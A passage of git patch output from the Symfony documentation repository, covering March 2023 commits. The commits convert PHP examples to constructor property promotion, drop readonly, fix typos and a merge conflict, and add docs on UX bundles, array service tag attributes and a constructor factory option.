+            private \Closure $mailer,
+        ) {
         }
 
         public function doSomething(): void
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 7bc3ea7e5fa..d1a981b5094 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -155,11 +155,9 @@ automatically changed to ``'.inner'``):
         #[AsDecorator(decorates: Mailer::class)]
         class DecoratingMailer
         {
-            private $inner;
-
-            public function __construct(#[MapDecorated] $inner)
-            {
-                $this->inner = $inner;
+            public function __construct(
+                private #[MapDecorated] $inner,
+            ) {
             }
 
             // ...
@@ -298,11 +296,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
                 // ...
             }
@@ -310,11 +306,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 1)]
             class Baz
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
 
                 // ...
@@ -622,11 +616,9 @@ Three different behaviors are available:
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
             class Bar
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
 
                 // ...
@@ -690,11 +682,9 @@ Three different behaviors are available:
 
         class DecoratorService
         {
-            private $decorated;
-
-            public function __construct(?OptionalService $decorated)
-            {
-                $this->decorated = $decorated;
+            public function __construct(
+                private ?OptionalService $decorated,
+            ) {
             }
 
             public function tellInterestingStuff(): string
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 803c74fb0b2..1b6b961c29e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -182,11 +182,9 @@ method::
     #[\Attribute(\Attribute::TARGET_CLASS)]
     class SensitiveElement
     {
-        private string $token;
-
-        public function __construct(string $token)
-        {
-            $this->token = $token;
+        public function __construct(
+            private string $token,
+        ) {
         }
 
         public function getToken(): string
diff --git a/session.rst b/session.rst
index da9637b5ca9..1cf2d9e0028 100644
--- a/session.rst
+++ b/session.rst
@@ -45,12 +45,9 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
 
         class SomeService
         {
-            private $requestStack;
-
-            public function __construct(RequestStack $requestStack)
-            {
-                $this->requestStack = $requestStack;
-
+            public function __construct(
+                private RequestStack $requestStack,
+            ) {
                 // Accessing the session in the constructor is *NOT* recommended, since
                 // it might not be accessible yet or lead to unwanted side-effects
                 // $this->session = $requestStack->getSession();
@@ -1295,11 +1292,9 @@ can determine the correct locale however you want::
 
     class LocaleSubscriber implements EventSubscriberInterface
     {
-        private $defaultLocale;
-
-        public function __construct(string $defaultLocale = 'en')
-        {
-            $this->defaultLocale = $defaultLocale;
+        public function __construct(
+            private string $defaultLocale = 'en',
+        ) {
         }
 
         public function onKernelRequest(RequestEvent $event)
@@ -1429,11 +1424,9 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            private RequestStack $requestStack,
+        ) {
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
diff --git a/templates.rst b/templates.rst
index af49c5747a4..439ac1ba8c9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -619,11 +619,9 @@ the :class:`Twig\\Environment` class::
 
     class SomeService
     {
-        private $twig;
-
-        public function __construct(Environment $twig)
-        {
-            $this->twig = $twig;
+        public function __construct(
+            private Environment $twig,
+        ) {
         }
 
         public function someMethod()
diff --git a/testing/database.rst b/testing/database.rst
index 0bd0d03af62..3f0dfd2368c 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -27,11 +27,9 @@ Suppose the class you want to test looks like this::
 
     class SalaryCalculator
     {
-        private $objectManager;
-
-        public function __construct(ObjectManager $objectManager)
-        {
-            $this->objectManager = $objectManager;
+        public function __construct(
+            private ObjectManager $objectManager,
+        ) {
         }
 
         public function calculateTotalSalary($id)
diff --git a/translation.rst b/translation.rst
index becd8140693..5c13bf6da34 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1021,11 +1021,9 @@ of:
 
     class SomeService
     {
-        private LocaleSwitcher $localeSwitcher;
-
-        public function __construct(LocaleSwitcher $localeSwitcher)
-        {
-            $this->localeSwitcher = $localeSwitcher;
+        public function __construct(
+            private LocaleSwitcher $localeSwitcher,
+        ) {
         }
 
         public function someMethod()
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4887a126c02..4d23ef3fd73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -50,13 +50,14 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
     class ContainsAlphanumeric extends Constraint
     {
         public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-        public string $mode;
 
         #[HasNamedArguments]
-        public function __construct(string $mode, array $groups = null, mixed $payload = null)
-        {
+        public function __construct(
+            public string $mode,
+            array $groups = null,
+            mixed $payload = null,
+        ) {
             parent::__construct([], $groups, $payload);
-            $this->mode = $mode;
         }
     }
 
diff --git a/workflow.rst b/workflow.rst
index 9163b58809c..783f442ad28 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -39,7 +39,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as
 follows:
 
 .. configuration-block::
@@ -248,12 +248,10 @@ machine type, use ``camelCased workflow name + StateMachine``::
 
     class MyClass
     {
-        private $blogPublishingWorkflow;
-
-        // Symfony will inject the 'blog_publishing' workflow configured before
-        public function __construct(WorkflowInterface $blogPublishingWorkflow)
-        {
-            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
+        public function __construct(
+            // Symfony will inject the 'blog_publishing' workflow configured before
+            private WorkflowInterface $blogPublishingWorkflow,
+        ) {
         }
 
         public function toReview(BlogPost $post)
@@ -413,11 +411,9 @@ workflow leaves a place::
 
     class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function onLeave(Event $event)
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 10ec2fbf4b6..5dcd1f77755 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -259,11 +259,9 @@ you can get this state machine by injecting the Workflow registry service::
 
     class SomeService
     {
-        private $workflows;
-
-        public function __construct(Registry $workflows)
-        {
-            $this->workflows = $workflows;
+        public function __construct(
+            private Registry $workflows,
+        ) {
         }
 
         public function someMethod(PullRequest $pullRequest)
@@ -288,11 +286,9 @@ to access the proper service::
 
     class SomeService
     {
-        private $stateMachine;
-
-        public function __construct(StateMachine $stateMachine)
-        {
-            $this->stateMachine = $stateMachine;
+        public function __construct(
+            private StateMachine $stateMachine,
+        ) {
         }
 
         public function someMethod(PullRequest $pullRequest)

From c99291b718bd04d28ded5759f74b3db3655b779b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:55:14 +0100
Subject: [PATCH 3070/5766] Remove readonly for now, to be consistent

---
 components/clock.rst            | 2 +-
 quick_tour/the_architecture.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 1cd9757d69d..2528551d1c5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -50,7 +50,7 @@ determine the current time::
     class ExpirationChecker
     {
         public function __construct(
-            private readonly ClockInterface $clock
+            private ClockInterface $clock
         ) {}
 
         public function isExpired(DateTimeInterface $validUntil): bool
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 7c7cfac7751..d3a0c65ef3d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -137,7 +137,7 @@ difference is that it's done in the constructor:
       class GreetingGenerator
       {
     +     public function __construct(
-    +         private readonly LoggerInterface $logger,
+    +         private LoggerInterface $logger,
     +     ) {
     +     }
 
@@ -171,7 +171,7 @@ that extends ``AbstractExtension``::
     class GreetExtension extends AbstractExtension
     {
         public function __construct(
-            private readonly GreetingGenerator $greetingGenerator,
+            private GreetingGenerator $greetingGenerator,
         ) {
         }
 

From b7770b6a6345bc2eef1df1d910916dece67704bf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:55:57 +0100
Subject: [PATCH 3071/5766] Remove readonly for now, to be consistent

---
 service_container.rst                  | 4 ++--
 service_container/service_closures.rst | 2 +-
 workflow.rst                           | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 5f50785b280..b0ca1391c71 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -821,9 +821,9 @@ like this::
     class MessageGenerator
     {
         public function __construct(
-            private readonly LoggerInterface $logger,
+            private LoggerInterface $logger,
             #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
-            private readonly \Closure $generateMessageHash
+            private \Closure $generateMessageHash
         ) {
             // ...
         }
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index f0940a2a111..28c3384d262 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -105,7 +105,7 @@ in the service class, without further configuration::
     {
         public function __construct(
             #[AutowireServiceClosure('mailer')]
-            private readonly \Closure $mailer
+            private \Closure $mailer
         ) {
             $this->mailer = $mailer;
         }
diff --git a/workflow.rst b/workflow.rst
index 87c4b654166..7cee6bde1b0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -278,7 +278,7 @@ attribute::
     {
         public function __construct(
             #[Target('blog_publishing')]
-            private readonly WorkflowInterface $workflow
+            private WorkflowInterface $workflow
         ) {
         }
 

From d3f5ddf71f95c0f85cb847e401e9f8d6f6b8fe00 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:56:39 +0100
Subject: [PATCH 3072/5766] Minor

---
 service_container/service_closures.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 28c3384d262..2f922d1a0c6 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -107,7 +107,6 @@ in the service class, without further configuration::
             #[AutowireServiceClosure('mailer')]
             private \Closure $mailer
         ) {
-            $this->mailer = $mailer;
         }
 
         public function doSomething(): void

From 76791e0aff0bcf9cc5f377fc1713fb48520d414b Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 20 Feb 2023 17:11:37 +0100
Subject: [PATCH 3073/5766] [DependencyInjection] Allow array attributes for
 services tags

---
 service_container/tags.rst | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1d0e5b52a6e..390f757898a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -424,7 +424,7 @@ To answer this, change the service declaration:
 
             MailerSendmailTransport:
                 tags:
-                    - { name: 'app.mail_transport', alias: 'sendmail' }
+                    - { name: 'app.mail_transport', alias: ['sendmail', 'anotherAlias']}
 
     .. code-block:: xml
 
@@ -443,7 +443,10 @@ To answer this, change the service declaration:
                 </service>
 
                 <service id="MailerSendmailTransport">
-                    <tag name="app.mail_transport" alias="sendmail"/>
+                    <tag name="app.mail_transport">
+                        <attribute>sendmail</attribute>
+                        <attribute>anotherAlias</attribute>
+                    </tag>
                 </service>
             </services>
         </container>
@@ -463,10 +466,14 @@ To answer this, change the service declaration:
             ;
 
             $services->set(\MailerSendmailTransport::class)
-                ->tag('app.mail_transport', ['alias' => 'sendmail'])
+                ->tag('app.mail_transport', ['alias' => ['sendmail', 'anotherAlias']])
             ;
         };
 
+.. versionadded:: 6.2
+
+    Support for attributes as array was introduced in Symfony 6.2.
+
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 6641fa5dda3ad2a8fcfbe671773db07f909ee838 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 15 Mar 2023 22:25:51 +0100
Subject: [PATCH 3074/5766] [HttpCache] Fix decorating http_cache xml example

---
 http_cache/cache_invalidation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index c6df4fd85c0..b0b07909d29 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -110,11 +110,13 @@ Then, register the class as a service that :doc:`decorates </service_container/s
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd"
         >
-            <service id="App\CacheKernel" decorates="http_cache">
-                <argument type="service" id="kernel"/>
-                <argument type="service" id="http_cache.store"/>
-                <argument type="service" id="esi" on-invalid="null"/>
-            </service>
+            <services>
+                <service id="App\CacheKernel" decorates="http_cache">
+                    <argument type="service" id="kernel"/>
+                    <argument type="service" id="http_cache.store"/>
+                    <argument type="service" id="esi" on-invalid="null"/>
+                </service>
+            </services>
         </container>
 
     .. code-block:: php

From 9fa47e5640c2d9fd41e896821441f8a39c6c539c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Mar 2023 10:03:50 +0100
Subject: [PATCH 3075/5766] add Symfony UX in attributes reference

---
 reference/attributes.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index c77662b5c69..671d172c6e2 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -70,8 +70,21 @@ Serializer
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
 
+Symfony UX
+~~~~~~~~~~
+
+* `AsEntityAutocompleteField`_
+* `AsLiveComponent`_
+* `AsTwigComponent`_
+* `Broadcast`_
+
 Validator
 ~~~~~~~~~
 
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
+
+.. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
+.. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`AsTwigComponent`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`Broadcast`: https://symfony.com/bundles/ux-turbo/current/index.html#broadcast-conventions-and-configuration

From 6b7e144a9f087e74faaf967c291f0575bc519ef6 Mon Sep 17 00:00:00 2001
From: Daniele Ambrosino <mail@danieleambrosino.it>
Date: Wed, 8 Mar 2023 12:28:18 +0100
Subject: [PATCH 3076/5766] Update event_dispatcher.rst

Fix a little spelling mistake.
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 7f9adf284bc..fbee0d5268d 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -61,7 +61,7 @@ The most common way to listen to an event is to register an **event listener**::
     }
 
 Now that the class is created, you need to register it as a service and
-notify Symfony that it is a event listener by using a special "tag":
+notify Symfony that it is an event listener by using a special "tag":
 
 .. configuration-block::
 

From e0b74e0501ee0c4e696605623a603c085406feb0 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 16 Mar 2023 23:39:36 +0100
Subject: [PATCH 3077/5766] Update deployment.rst

---
 deployment.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/deployment.rst b/deployment.rst
index 495cddb5505..da77d19f086 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -209,6 +209,7 @@ setup:
 * Running any database migrations
 * Clearing your APCu cache
 * Add/edit CRON jobs
+* Restarting your workers
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to

From 850e349f4b7d39c2544767d4aed47d28b8dfd032 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 10:48:54 +0100
Subject: [PATCH 3078/5766] fix alphabetical order

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3260f7633d9..a07efb3cb2d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -84,8 +84,8 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``

From dee1e9ad3dedc674d6093398f9bd3bfb8b3fa013 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 20 Feb 2023 15:19:33 +0100
Subject: [PATCH 3079/5766] Add docs about creating UX bundles

---
 frontend/create_ux_bundle.rst | 139 ++++++++++++++++++++++++++++++++++
 1 file changed, 139 insertions(+)
 create mode 100644 frontend/create_ux_bundle.rst

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
new file mode 100644
index 00000000000..1a93225b5ae
--- /dev/null
+++ b/frontend/create_ux_bundle.rst
@@ -0,0 +1,139 @@
+.. index::
+   single: Create a UX bundle
+
+Create a UX bundle
+==================
+
+.. tip::
+
+    Before reading this, you may want to have a look at
+    :doc:`Best Practices for Reusable Bundles </bundles/best_practices>`.
+
+Here are a few tricks to make your bundle install as a UX bundle.
+
+composer.json file
+------------------
+
+Your ``composer.json`` file must have the ``symfony-ux`` keyword:
+
+.. code-block:: json
+
+    {
+        "keywords": ["symfony-ux"]
+    }
+
+Assets location
+---------------
+
+Your assets must be located in one of the following directories, with a ``package.json`` file so Flex can handle it
+during install/update:
+
+* ``/assets`` (recommended)
+* ``/Resources/assets``
+* ``/src/Resources/assets``
+
+package.json file
+-----------------
+
+Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
+to the ``peerDependencies``:
+
+.. code-block:: json
+
+    {
+        "name": "@acme/feature",
+        "version": "1.0.0",
+        "symfony": {
+            "controllers": {
+                "slug": {
+                    "main": "dist/controller.js",
+                    "fetch": "eager",
+                    "enabled": true,
+                    "autoimport": {
+                        "dist/bootstrap4-theme.css": false,
+                        "dist/bootstrap5-theme.css": true
+                    }
+                }
+            }
+        },
+        "peerDependencies": {
+            "@hotwired/stimulus": "^3.0.0",
+            "slugify": "^1.6.5"
+        }
+    }
+
+In this case, the file located at ``[assets directory]/dist/controller.js`` will be exposed.
+
+.. tip::
+
+    You can either write raw JS in this ``dist/controller.js`` file, or you can e.g. write your controller with
+    TypeScript and transpile it to JavaScript.
+
+    Here is an example to do so:
+
+    1. Add the following to your ``package.json`` file:
+
+    .. code-block:: json
+
+        {
+            "scripts": {
+                "build": "babel src --extensions .ts -d dist"
+            },
+            "devDependencies": {
+                "@babel/cli": "^7.20.7",
+                "@babel/core": "^7.20.12",
+                "@babel/plugin-proposal-class-properties": "^7.18.6",
+                "@babel/preset-env": "^7.20.2",
+                "@babel/preset-typescript": "^7.18.6",
+                "@hotwired/stimulus": "^3.2.1",
+                "typescript": "^4.9.5"
+            }
+        }
+
+    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+
+    3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+
+    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+
+To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
+
+.. code-block:: html+twig
+
+    <div
+        {{ stimulus_controller('acme/feature/slug', { modal: 'my-value' }) }}
+        {#
+            will render:
+            data-controller="acme--feature--slug"
+            data-acme--feature--slug-modal-value="my-value"
+        #}
+    >
+        ...
+    </div>
+
+Don't forget to add ``symfony/webpack-encore-bundle:^1.12`` as a composer dependency to use
+Twig ``stimulus_*`` functions.
+
+.. tip::
+
+    Controller Naming: In this example, the ``name`` of the PHP package is ``acme/feature`` and the name
+    of the controller in ``package.json`` is ``slug``. So, the full controller name for Stimulus will be
+    ``acme--feature--slug``, though with the ``stimulus_controller()`` function, you can use ``acme/feature/slug``.
+
+Each controller has a number of options in ``package.json`` file:
+
+==================  ====================================================================================================
+Option              Description
+==================  ====================================================================================================
+enabled             Whether the controller should be enabled by default.
+main                Path to the controller file.
+fetch               How controller & dependencies are included when the page loads.
+                    Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's
+                    downloaded when the page is loaded.
+                    Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded
+                    asynchronously if (and when) the data-controller HTML appears on the page.
+autoimport          List of files to be imported with the controller. Useful e.g. when there are several CSS styles
+                    depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...).
+                    The value must be an object with files as keys, and a boolean as value for each file to set
+                    whether the file should be imported.
+==================  ====================================================================================================

From dc7368b3dd6211a8d95510546a41b9e3b45e1067 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 15:31:44 +0100
Subject: [PATCH 3080/5766] fix typo

---
 components/dom_crawler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 40a032fdfa6..5b2a63ce5bd 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -661,7 +661,7 @@ parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 
     $crawler = new Crawler(null, $uri, useHtml5Parser: true);
 
-By doing do, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
+By doing so, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
 library to parse the documents.
 
 .. versionadded:: 6.3

From a0f35f87d23122246f1435a515535675539442e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 17 Mar 2023 16:16:26 +0100
Subject: [PATCH 3081/5766] Fix: Merge conflict

---
 service_container/service_decoration.rst | 30 +++---------------------
 1 file changed, 3 insertions(+), 27 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b48968924c5..032ba8b7c12 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -302,17 +302,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
                 // ...
             }
@@ -320,17 +312,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 1)]
             class Baz
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
 
                 // ...
@@ -638,17 +622,9 @@ Three different behaviors are available:
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
             class Bar
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
 
                 // ...

From 8e9271ba878472def1ea4fc89e1493b655cb385f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 16:31:13 +0100
Subject: [PATCH 3082/5766] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2fc61a068ee..ba8b3aac268 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2188,7 +2188,7 @@ provided in order to ease the declaration of these special handlers::
 .. versionadded:: 6.3
 
     The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
-    method was introduced 6.3.
+    method was introduced in Symfony 6.3.
 
 .. note::
 

From 4b1c9cb3424f02ea127227520775e957367b239c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C3=ABl=20Mordefroy?=
 <42770997+Mick3DIY@users.noreply.github.com>
Date: Tue, 14 Mar 2023 15:05:54 +0100
Subject: [PATCH 3083/5766] [Workflow] Update workflow.rst

---
 workflow.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 0deb02df50b..98b3162091d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -160,6 +160,10 @@ follows:
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
+.. tip::
+
+    You can use constants in YAML files and add some in the BlogPost entity for places ``draft`` by ``!php/const App\Entity\BlogPost::STATE_DRAFT`` or for transitions ``to_review`` by ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php

From 7ee76d0fa4be628cb9c5ec43a128b978aba3d8f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Mar 2023 17:49:50 +0100
Subject: [PATCH 3084/5766] Minor tweak

---
 workflow.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 98b3162091d..98b0d7c5798 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -162,7 +162,10 @@ follows:
 
 .. tip::
 
-    You can use constants in YAML files and add some in the BlogPost entity for places ``draft`` by ``!php/const App\Entity\BlogPost::STATE_DRAFT`` or for transitions ``to_review`` by ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``.
+    You can use PHP constants in YAML files via the ``!php/const `` notation.
+    E.g. you can use ``!php/const App\Entity\BlogPost::STATE_DRAFT`` instead of
+    ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
+    instead of ``'to_review'``.
 
 The configured property will be used via its implemented getter/setter methods by the marking store::
 

From 6040cfe7258b2b33c3a95af0ccf37185fd9dff93 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 17 Mar 2023 13:11:53 +0100
Subject: [PATCH 3085/5766] [DependencyInjection] Add the `constructor` option
 to service definition

---
 service_container/factories.rst | 71 +++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 004846f48ec..0faa1f6b512 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -167,6 +167,77 @@ You can omit the class on the factory declaration:
                 ->factory([null, 'create']);
         };
 
+It is also possible to use the ``constructor`` option, instead of passing ``null``
+as the factory class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Email/NewsletterManager.php
+        namespace App\Email;
+
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(bind: ['$sender' => 'fabien@symfony.com'], constructor: 'create')]
+        class NewsletterManager
+        {
+            private string $sender;
+
+            public static function create(string $sender): self
+            {
+                $newsletterManager = new self();
+                $newsletterManager->sender = $sender;
+                // ...
+
+                return $newsletterManager;
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Email\NewsletterManager:
+                constructor: 'create'
+                arguments:
+                    $sender: 'fabien@symfony.com'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
